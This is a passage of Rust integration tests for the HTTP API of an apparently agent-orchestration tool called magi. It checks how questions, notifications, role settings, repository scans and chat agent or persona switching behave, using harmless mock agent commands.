8277 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8278 let path = format!("/api/questions/{id}/answer");
8279
8280 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8281 assert_eq!(res.status, 200, "{}", res.body);
8282 let body = res.json();
8283 assert_eq!(body["status"], "answered");
8284 assert_eq!(body["answer"]["choice"], "Redis");
8285
8286 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8290 assert_eq!(again.status, 409, "{}", again.body);
8291 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8292 }
8293
8294 #[tokio::test]
8295 async fn saying_something_appends_a_turn_without_answering() {
8296 let fx = Fixture::start().await;
8297 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8298 let path = format!("/api/questions/{id}/say");
8299
8300 let res = fx
8301 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8302 .await;
8303 assert_eq!(res.status, 200, "{}", res.body);
8304 let body = res.json();
8305 assert_eq!(body["status"], "open", "talking back is not a decision");
8306 assert_eq!(body["answer"], Value::Null);
8307 assert_eq!(body["thread"][0]["who"], "operator");
8308 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8309 assert_eq!(body["waiting_on_agent"], true);
8310 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8312 }
8313
8314 #[tokio::test]
8315 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8316 let fx = Fixture::start().await;
8317 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8318
8319 let list = fx.get("/api/questions").await.json();
8320 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8321
8322 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8323 assert_eq!(res.status, 409, "{}", res.body);
8324 let q = fx.questions().get(&id).unwrap();
8325 assert!(q.status.open());
8326 assert!(q.consult.is_none());
8327 }
8328
8329 #[tokio::test]
8330 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8331 let fx = Fixture::start().await;
8332 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8333 let cfg = Config {
8334 agents: vec![crate::config::AgentSpec {
8335 id: "mock".to_owned(),
8336 kind: crate::config::AgentKind::Command,
8337 model: None,
8338 command: vec!["true".to_owned()],
8339 extra_args: Vec::new(),
8340 env: Default::default(),
8341 prompt_delivery: None,
8342 }],
8343 ..Config::default()
8344 };
8345 let talk = crate::talk::begin(
8346 &fx.talks(),
8347 &cfg,
8348 fx.home.path().to_path_buf(),
8349 Some("mock"),
8350 )
8351 .unwrap();
8352 let mut task = Task::new(
8353 "t".to_owned(),
8354 "Do it".to_owned(),
8355 PathBuf::from("/repo/magi"),
8356 Source::Agent {
8357 run: talk.id.clone(),
8358 node: crate::queue::CHAT_NODE.to_owned(),
8359 },
8360 );
8361 task.start("20260902-000000-beef".to_owned());
8362 fx.queue().put(&mut task).unwrap();
8363
8364 let list = fx.get("/api/questions").await.json();
8365 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8366 assert_eq!(
8367 list[0]["choices"],
8368 serde_json::json!(["SQLite", "Redis"]),
8369 "the hand-over is never a choice"
8370 );
8371 fx.questions()
8372 .update(&id, |q| {
8373 q.node = crate::land::APPROVAL_NODE.into();
8374 q.choices = vec!["merge".into(), "hold".into()];
8375 Ok(())
8376 })
8377 .unwrap();
8378 let list = fx.get("/api/questions").await.json();
8379 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8380 let _ = id;
8381 }
8382
8383 #[tokio::test]
8384 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8385 let fx = Fixture::start().await;
8386 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8387 fx.questions()
8388 .update(&id, |q| {
8389 q.node = crate::land::APPROVAL_NODE.into();
8390 q.choices = vec!["merge".into(), "hold".into()];
8391 Ok(())
8392 })
8393 .unwrap();
8394 let cfg = Config {
8395 agents: vec![crate::config::AgentSpec {
8396 id: "mock".to_owned(),
8397 kind: crate::config::AgentKind::Command,
8398 model: None,
8399 command: vec!["true".to_owned()],
8400 extra_args: Vec::new(),
8401 env: Default::default(),
8402 prompt_delivery: None,
8403 }],
8404 ..Config::default()
8405 };
8406 let repo = fx.home.path().join("chat-repo");
8408 std::fs::create_dir_all(&repo).unwrap();
8409 let toml = repo.join("magi.toml");
8410 std::fs::write(&toml, "this is = = not toml").unwrap();
8411 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8412 let mut task = Task::new(
8413 "t".to_owned(),
8414 "Do it".to_owned(),
8415 PathBuf::from("/repo/magi"),
8416 Source::Agent {
8417 run: talk.id.clone(),
8418 node: crate::queue::CHAT_NODE.to_owned(),
8419 },
8420 );
8421 task.start("20260902-000000-beef".to_owned());
8422 fx.queue().put(&mut task).unwrap();
8423
8424 let path = format!("/api/questions/{id}/consult");
8425 let res = fx.post(&path, None).await;
8426 assert!(res.status >= 400, "{}", res.body);
8427 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8428 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8429
8430 std::fs::write(&toml, "").unwrap();
8431 let res = fx.post(&path, None).await;
8432 assert_eq!(res.status, 202, "{}", res.body);
8433 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8434 let q = fx.questions().get(&id).unwrap();
8435 assert!(q.status.open());
8436 assert!(q.answer.is_none());
8437 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8438 }
8439
8440 #[tokio::test]
8441 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8442 let fx = Fixture::start().await;
8443 let store = fx.questions();
8444 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8445 assert_eq!(
8446 fx.get("/api/health").await.json()["questions_needs_owner"],
8447 1
8448 );
8449
8450 let res = fx
8456 .post(
8457 &format!("/api/questions/{id}/say"),
8458 Some(r#"{"body":"why not Postgres?"}"#),
8459 )
8460 .await;
8461 assert_eq!(res.status, 200, "{}", res.body);
8462 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8463 assert_eq!(
8464 fx.get("/api/health").await.json()["questions_needs_owner"],
8465 0,
8466 "waiting on the agent is not waiting on the owner"
8467 );
8468
8469 let mut q = store.get(&id).expect("get");
8473 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8474 .expect("reply");
8475 store.put(&mut q).expect("put");
8476 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8477 assert_eq!(
8478 fx.get("/api/health").await.json()["questions_needs_owner"],
8479 1,
8480 "the agent's reply is what should light the banner back up"
8481 );
8482 }
8483
8484 #[tokio::test]
8485 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8486 let fx = Fixture::start().await;
8487 let store = fx.questions();
8488
8489 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8490 let res = fx
8491 .post(
8492 &format!("/api/questions/{empty_id}/say"),
8493 Some(r#"{"body":" "}"#),
8494 )
8495 .await;
8496 assert_eq!(res.status, 400, "{}", res.body);
8497
8498 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8499 let mut answered = store.get(&answered_id).expect("get");
8500 answered
8501 .answer(Answer::Choice("SQLite".to_owned()))
8502 .expect("answer");
8503 store.put(&mut answered).expect("put");
8504 let res = fx
8505 .post(
8506 &format!("/api/questions/{answered_id}/say"),
8507 Some(r#"{"body":"still there?"}"#),
8508 )
8509 .await;
8510 assert_eq!(res.status, 409, "{}", res.body);
8511
8512 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8513 let mut abandoned = store.get(&abandoned_id).expect("get");
8514 abandoned.abandon("timed out");
8515 store.put(&mut abandoned).expect("put");
8516 let res = fx
8517 .post(
8518 &format!("/api/questions/{abandoned_id}/say"),
8519 Some(r#"{"body":"still there?"}"#),
8520 )
8521 .await;
8522 assert_eq!(res.status, 409, "{}", res.body);
8523 }
8524
8525 #[tokio::test]
8526 async fn an_answer_the_question_does_not_offer_is_refused() {
8527 let fx = Fixture::start().await;
8528 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8529 let path = format!("/api/questions/{id}/answer");
8530
8531 for body in [
8532 r#"{"choice":"Postgres"}"#,
8533 r#"{"text":"whatever you think"}"#,
8534 r#"{"choice":"Redis","text":"both"}"#,
8535 r#"{}"#,
8536 ] {
8537 let res = fx.post(&path, Some(body)).await;
8538 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8539 assert!(res.json()["error"].is_string(), "{}", res.body);
8540 }
8541 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8543 }
8544
8545 #[tokio::test]
8546 async fn a_free_text_question_takes_text_and_not_a_choice() {
8547 let fx = Fixture::start().await;
8548 let id = ask(&fx, "What should the flag be called?", &[]);
8549 let path = format!("/api/questions/{id}/answer");
8550
8551 assert_eq!(
8552 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8553 400
8554 );
8555 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8556 assert_eq!(res.status, 200, "{}", res.body);
8557 assert_eq!(res.json()["answer"]["text"], "--json");
8558 }
8559
8560 #[tokio::test]
8561 async fn an_unknown_question_is_a_json_404() {
8562 let fx = Fixture::start().await;
8563 let res = fx
8564 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8565 .await;
8566 assert_eq!(res.status, 404, "{}", res.body);
8567 assert!(res.json()["error"].is_string());
8568 }
8569
8570 #[tokio::test]
8571 async fn notifications_list_read_dismiss_and_health_agree() {
8572 let fx = Fixture::start().await;
8573 let store = Notices::at(fx.home.path().join("notifications"));
8574 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8575 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8576
8577 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8578 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8579
8580 let health = fx.get("/api/health").await.json();
8581 assert_eq!(health["notifications_unread"], 2);
8582 assert_ne!(
8583 health["notifications_rev"], rev0,
8584 "the badge must move live"
8585 );
8586
8587 let listed = fx.get("/api/notifications").await.json();
8588 assert_eq!(listed["unread"], 2);
8589 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8590 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8591
8592 let read = fx
8593 .post(&format!("/api/notifications/{}/read", a.id), None)
8594 .await;
8595 assert_eq!(read.status, 200, "{}", read.body);
8596 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8597
8598 let gone = fx
8599 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8600 .await;
8601 assert_eq!(gone.status, 200, "{}", gone.body);
8602 let listed = fx.get("/api/notifications").await.json();
8603 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8604 assert_eq!(listed["unread"], 0);
8605
8606 store.raise(Notice::info("x", "again")).unwrap();
8607 let all = fx.post("/api/notifications/read-all", None).await;
8608 assert_eq!(all.status, 200, "{}", all.body);
8609 assert_eq!(all.json()["marked"], 1);
8610 assert_eq!(
8611 fx.get("/api/health").await.json()["notifications_unread"],
8612 0
8613 );
8614
8615 let missing = fx.post("/api/notifications/nope/read", None).await;
8616 assert_eq!(missing.status, 404, "{}", missing.body);
8617 assert!(missing.json()["error"].is_string());
8618 }
8619
8620 #[tokio::test]
8627 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8628 let f = Fixture::start().await;
8629
8630 let res = f
8631 .post(
8632 "/api/queue",
8633 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8634 )
8635 .await;
8636
8637 assert_eq!(
8638 res.status, 405,
8639 "POST /api/queue must not be a route: {}",
8640 res.body
8641 );
8642 assert!(
8643 f.queue().list().is_empty(),
8644 "a task filed by a route that does not exist must not reach the disk"
8645 );
8646 assert_eq!(f.get("/api/queue").await.status, 200);
8649 }
8650
8651 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8653 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8654 .expect("checkout dir");
8655 }
8656
8657 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8659
8660 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8661 let tmp = TempDir::new().expect("tempdir");
8662 let repo = tmp.path().join("repo");
8663 std::fs::create_dir_all(&repo).expect("repo dir");
8664 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8665 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8666 if let Some(text) = machine_toml {
8667 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8668 std::fs::write(&machine, text).expect("machine toml");
8669 }
8670 (tmp, repo, machine)
8671 }
8672
8673 #[tokio::test]
8674 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8675 let (_tmp, repo, machine) =
8676 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8677 let f = Fixture::with_repo_and_machine(repo, machine).await;
8678 let res = f.get("/api/settings").await;
8679 assert_eq!(res.status, 200, "{}", res.body);
8680 let v = res.json();
8681 assert!(v["error"].is_null(), "{v}");
8682 let role = |k: &str| {
8683 v["roles"]
8684 .as_array()
8685 .and_then(|r| r.iter().find(|x| x["key"] == k))
8686 .cloned()
8687 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8688 };
8689 assert_eq!(role("judges")["source"], "machine");
8690 assert_eq!(role("judges")["editable"], true);
8691 assert_eq!(role("implementers")["source"], "default");
8692 let adv = role("advisors");
8693 assert_eq!(adv["fallback"], "judges");
8694 assert!(
8695 adv["seats"]
8696 .as_array()
8697 .is_some_and(|s| s.iter().all(|x| x == "b")),
8698 "{adv}"
8699 );
8700 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8701 assert_eq!(v["agents"][0]["source"], "repo");
8702 }
8703
8704 #[tokio::test]
8705 async fn settings_get_reports_a_config_that_does_not_parse() {
8706 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8707 let f = Fixture::with_repo_and_machine(repo, machine).await;
8708 let res = f.get("/api/settings").await;
8709 assert_eq!(res.status, 200, "{}", res.body);
8710 let v = res.json();
8711 assert!(v["error"]["message"].is_string(), "{v}");
8712 assert!(
8713 v["error"]["path"]
8714 .as_str()
8715 .is_some_and(|p| p.ends_with("magi.toml")),
8716 "{v}"
8717 );
8718 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8719 }
8720
8721 #[tokio::test]
8722 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8723 let (_tmp, repo, machine) = settings_dirs(
8724 SETTINGS_AGENTS,
8725 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8726 );
8727 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8728 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8729 let rev = f.get("/api/settings").await.json()["revision"]
8730 .as_str()
8731 .expect("revision")
8732 .to_owned();
8733 let body = serde_json::json!({
8734 "revision": rev,
8735 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8736 })
8737 .to_string();
8738 let res = f.put("/api/settings/roles", &body).await;
8739 assert_eq!(res.status, 200, "{}", res.body);
8740 let text = std::fs::read_to_string(&machine).expect("machine");
8741 assert_eq!(
8742 text,
8743 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8744 );
8745 assert_eq!(
8746 std::fs::read(repo.join("magi.toml")).expect("read"),
8747 repo_before
8748 );
8749 let again = f.get("/api/settings").await.json();
8750 let judges = again["roles"]
8751 .as_array()
8752 .expect("roles")
8753 .iter()
8754 .find(|r| r["key"] == "judges")
8755 .expect("judges")
8756 .clone();
8757 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8758 let stale = f.put("/api/settings/roles", &body).await;
8760 assert_eq!(stale.status, 409, "{}", stale.body);
8761 }
8762
8763 #[tokio::test]
8764 async fn settings_counts_are_reported_and_saved() {
8765 let (_tmp, repo, machine) = settings_dirs(
8766 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8767 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8768 );
8769 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8770 let v = f.get("/api/settings").await.json();
8771 let count = |v: &serde_json::Value, k: &str| {
8772 v["roles"]
8773 .as_array()
8774 .and_then(|r| r.iter().find(|x| x["key"] == k))
8775 .map(|x| x["count"].clone())
8776 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8777 };
8778 let imp = count(&v, "implementers");
8779 assert_eq!(imp["value"], 2);
8780 assert_eq!(imp["source"], "machine");
8781 assert_eq!(imp["file_key"], "candidates");
8782 assert_eq!(imp["roster_len"], 2);
8783 assert_eq!(imp["backups"], 0);
8784 assert_eq!(count(&v, "judges")["source"], "default");
8785 assert_eq!(count(&v, "advisors")["min"], 0);
8786 assert_eq!(count(&v, "reviewers")["editable"], false);
8787 assert!(
8788 count(&v, "reviewers")["locked_reason"]
8789 .as_str()
8790 .is_some_and(|m| m.contains("graph.reviewers"))
8791 );
8792 assert!(count(&v, "fixer").is_null());
8793 let rev = v["revision"].as_str().expect("revision").to_owned();
8794 let body = serde_json::json!({
8795 "revision": rev,
8796 "roles": { "judges": ["b"] },
8797 "counts": { "implementers": 1, "advisors": 0 }
8798 })
8799 .to_string();
8800 let res = f.put("/api/settings/roles", &body).await;
8801 assert_eq!(res.status, 200, "{}", res.body);
8802 let text = std::fs::read_to_string(&machine).expect("machine");
8803 assert_eq!(
8804 text,
8805 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8806 );
8807 let after = f.get("/api/settings").await.json();
8808 assert_eq!(count(&after, "implementers")["value"], 1);
8809 assert_eq!(count(&after, "implementers")["backups"], 1);
8810 assert_eq!(count(&after, "advisors")["value"], 0);
8811 let before = std::fs::read_to_string(&machine).expect("machine");
8812 let rev = after["revision"].as_str().expect("revision").to_owned();
8813 for counts in [
8814 serde_json::json!({ "judges": 0 }),
8815 serde_json::json!({ "judges": "x" }),
8816 serde_json::json!({ "judges": 2.5 }),
8817 serde_json::json!({ "judges": -1 }),
8818 serde_json::json!({ "reviewers": 3 }),
8819 serde_json::json!({ "bogus": 3 }),
8820 ] {
8821 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8822 let res = f.put("/api/settings/roles", &body).await;
8823 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8824 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8825 }
8826 }
8827
8828 #[tokio::test]
8829 async fn settings_put_refuses_without_touching_the_file() {
8830 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8831 let (_tmp, repo, machine) = settings_dirs(
8832 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8833 Some(machine_text),
8834 );
8835 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8836 let rev = f.get("/api/settings").await.json()["revision"]
8837 .as_str()
8838 .expect("revision")
8839 .to_owned();
8840 for roles in [
8841 serde_json::json!({ "judges": ["nope"] }),
8842 serde_json::json!({ "reviewers": ["b"] }),
8843 serde_json::json!({ "bogus": ["a"] }),
8844 ] {
8845 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8846 let res = f.put("/api/settings/roles", &body).await;
8847 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8848 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8849 assert_eq!(
8850 std::fs::read_to_string(&machine).expect("machine"),
8851 machine_text
8852 );
8853 }
8854 }
8855
8856 #[tokio::test]
8857 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8858 let tmp = TempDir::new().expect("tempdir");
8859 let repo = tmp.path().join("repo");
8860 std::fs::create_dir_all(&repo).expect("repo dir");
8861 let root = tmp.path().join("root");
8862 make_checkout(&root, "github.com", "yukimemi", "magi");
8863 std::fs::write(
8864 repo.join("magi.toml"),
8865 format!(
8866 "[repos]\nroots = [{:?}]\n",
8867 root.to_string_lossy().into_owned()
8868 ),
8869 )
8870 .expect("write magi.toml");
8871
8872 let f = Fixture::with_repo(repo).await;
8873 let res = f.get("/api/repos").await;
8874 assert_eq!(res.status, 200, "{}", res.body);
8875 let list = res.json();
8876 let repos = list.as_array().expect("an array");
8877 assert_eq!(repos.len(), 1);
8878 assert_eq!(repos[0]["name"], "yukimemi/magi");
8879 assert!(
8880 repos[0]["path"]
8881 .as_str()
8882 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8883 "{list}"
8884 );
8885 }
8886
8887 #[tokio::test]
8888 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8889 let tmp = TempDir::new().expect("tempdir");
8890 let repo = tmp.path().join("repo");
8891 std::fs::create_dir_all(&repo).expect("repo dir");
8892 let root = tmp.path().join("root");
8893 make_checkout(&root, "github.com", "yukimemi", "magi");
8894 std::fs::write(
8895 repo.join("magi.toml"),
8896 format!(
8897 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8898 root.to_string_lossy().into_owned()
8899 ),
8900 )
8901 .expect("write magi.toml");
8902
8903 let f = Fixture::with_repo(repo).await;
8904 let first = f.get("/api/repos").await;
8905 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8906
8907 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8910 let second = f.get("/api/repos").await;
8911 assert_eq!(
8912 second.json().as_array().map(Vec::len),
8913 Some(1),
8914 "a fresh cache must not rescan inside the TTL"
8915 );
8916
8917 let refreshed = f.get("/api/repos?refresh=1").await;
8918 assert_eq!(
8919 refreshed.json().as_array().map(Vec::len),
8920 Some(2),
8921 "an explicit refresh must rescan even inside the TTL"
8922 );
8923 }
8924
8925 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8931
8932 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8936 let tmp = TempDir::new().expect("tempdir");
8937 let repo = tmp.path().join("repo");
8938 std::fs::create_dir_all(&repo).expect("repo dir");
8939 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8940 let f = Fixture::with_repo(repo.clone()).await;
8941 (tmp, repo, f)
8942 }
8943
8944 #[tokio::test]
8945 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8946 let (_tmp, _repo, f) = talk_fixture().await;
8947
8948 let opened = f.post("/api/talks", None).await;
8951 assert_eq!(opened.status, 201, "{}", opened.body);
8952 let body = opened.json();
8953 assert_eq!(body["status"], "open");
8954 assert_eq!(
8955 body["turns"].as_array().unwrap().len(),
8956 0,
8957 "opening takes no agent turn: there is nothing yet to answer"
8958 );
8959
8960 let also_opened = f.post("/api/talks", Some("{}")).await;
8962 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8963
8964 let listed = f.get("/api/talks").await.json();
8965 assert_eq!(listed.as_array().unwrap().len(), 2);
8966 }
8967
8968 #[tokio::test]
8969 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8970 let tmp = TempDir::new().expect("tempdir");
8971 let repo = tmp.path().join("repo");
8972 std::fs::create_dir_all(&repo).expect("repo dir");
8973 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8974 std::fs::write(
8975 repo.join("magi.toml"),
8976 format!("{MOCK_AGENT_TOML}\n{second}"),
8977 )
8978 .expect("write magi.toml");
8979 let home = TempDir::new().expect("temp home");
8980 let talks = Talks::at(home.path().join("talks"));
8981 let ui = Arc::new(
8982 Ui::new(
8983 Queue::at(home.path().join("queue")),
8984 Questions::at(home.path().join("questions")),
8985 talks.clone(),
8986 home.path().join("runs"),
8987 home.path().to_path_buf(),
8988 repo.clone(),
8989 )
8990 .with_worktrees_root(home.path().join("wt")),
8991 );
8992 let cfg = config_for(&repo).await.expect("discover config");
8993 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8994 let id = talk.id.clone();
8995 let call = |agent: &str| {
8996 talk_agent(
8997 State(Arc::clone(&ui)),
8998 Path(id.clone()),
8999 Json(TalkAgent {
9000 agent: agent.to_owned(),
9001 }),
9002 )
9003 };
9004
9005 let unknown = call("nobody").await.expect_err("unknown agent");
9006 assert_eq!(
9007 unknown.status,
9008 StatusCode::BAD_REQUEST,
9009 "{}",
9010 unknown.message
9011 );
9012
9013 {
9014 let mut claimed = None;
9017 for _ in 0..200 {
9018 claimed = ui.begin_talk_turn(&id).expect("claim");
9019 if claimed.is_some() {
9020 break;
9021 }
9022 tokio::time::sleep(Duration::from_millis(10)).await;
9023 }
9024 let _busy = claimed.expect("free");
9025 let busy = call("second").await.expect_err("busy talk");
9026 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9027 }
9028 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9029
9030 let Json(view) = call("second").await.expect("switch");
9031 assert_eq!(view.talk.agent, "second");
9032 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9033 let saved = talks.get(&id).expect("reload");
9034 assert_eq!(saved.agent, "second");
9035 assert_eq!(saved.turns.len(), 1);
9036
9037 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9038 .await
9039 .expect("detail");
9040 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9041 assert_eq!(roster, ["mock", "second"]);
9042
9043 let mut closed = talks.get(&id).expect("reload");
9044 talk::close(&mut closed, &talks).expect("close");
9045 let refused = call("mock").await.expect_err("closed talk");
9046 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9047 }
9048
9049 #[tokio::test]
9050 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9051 let tmp = TempDir::new().expect("tempdir");
9052 let repo = tmp.path().join("repo");
9053 std::fs::create_dir_all(&repo).expect("repo dir");
9054 std::fs::write(
9055 repo.join("magi.toml"),
9056 format!(
9057 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9058 ),
9059 )
9060 .expect("write magi.toml");
9061 let home = TempDir::new().expect("temp home");
9062 let talks = Talks::at(home.path().join("talks"));
9063 let ui = Arc::new(
9064 Ui::new(
9065 Queue::at(home.path().join("queue")),
9066 Questions::at(home.path().join("questions")),
9067 talks.clone(),
9068 home.path().join("runs"),
9069 home.path().to_path_buf(),
9070 repo.clone(),
9071 )
9072 .with_worktrees_root(home.path().join("wt")),
9073 );
9074 let cfg = config_for(&repo).await.expect("discover config");
9075 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9076 let id = talk.id.clone();
9077 let call = |persona: &str| {
9078 talk_persona(
9079 State(Arc::clone(&ui)),
9080 Path(id.clone()),
9081 Json(TalkPersona {
9082 persona: persona.to_owned(),
9083 }),
9084 )
9085 };
9086
9087 let unknown = call("nobody").await.expect_err("unknown persona");
9088 assert_eq!(
9089 unknown.status,
9090 StatusCode::BAD_REQUEST,
9091 "{}",
9092 unknown.message
9093 );
9094
9095 {
9096 let mut claimed = None;
9097 for _ in 0..200 {
9098 claimed = ui.begin_talk_turn(&id).expect("claim");
9099 if claimed.is_some() {
9100 break;
9101 }
9102 tokio::time::sleep(Duration::from_millis(10)).await;
9103 }
9104 let _busy = claimed.expect("free");
9105 let busy = call("rei").await.expect_err("busy talk");
9106 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9107 }
9108 assert_eq!(talks.get(&id).expect("reload").persona, "");
9109
9110 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9111 assert_eq!(view.talk.persona, "gendo");
9112 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9113
9114 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9115 .await
9116 .expect("detail");
9117 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9118 assert_eq!(ids.first(), Some(&"default"));
9119 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9120
9121 let Json(view) = call("default").await.expect("back to default");
9122 assert_eq!(view.talk.persona, "");
9123
9124 let mut closed = talks.get(&id).expect("reload");
9125 talk::close(&mut closed, &talks).expect("close");
9126 let refused = call("rei").await.expect_err("closed talk");
9127 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9128 }
9129
9130 #[tokio::test]
9131 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9132 let f = Fixture::start().await;
9133 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9134 let queue = f.queue();
9135 let mut mine = Task::new(
9136 "rename the loader".to_owned(),
9137 "rename the loader".to_owned(),
9138 PathBuf::from("/repo/magi"),
9139 Source::Agent {
9140 run: talk_id.clone(),
9141 node: "chat".to_owned(),
9142 },
9143 );
9144 queue.put(&mut mine).expect("file the task");
9145 let mut theirs = Task::new(
9146 "unrelated".to_owned(),
9147 "unrelated".to_owned(),
9148 PathBuf::from("/repo/magi"),
9149 Source::Human,
9150 );
9151 queue.put(&mut theirs).expect("file the task");
9152
9153 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9154 assert_eq!(res.status, 200, "{}", res.body);
9155 let body = res.json();
9156 assert_eq!(
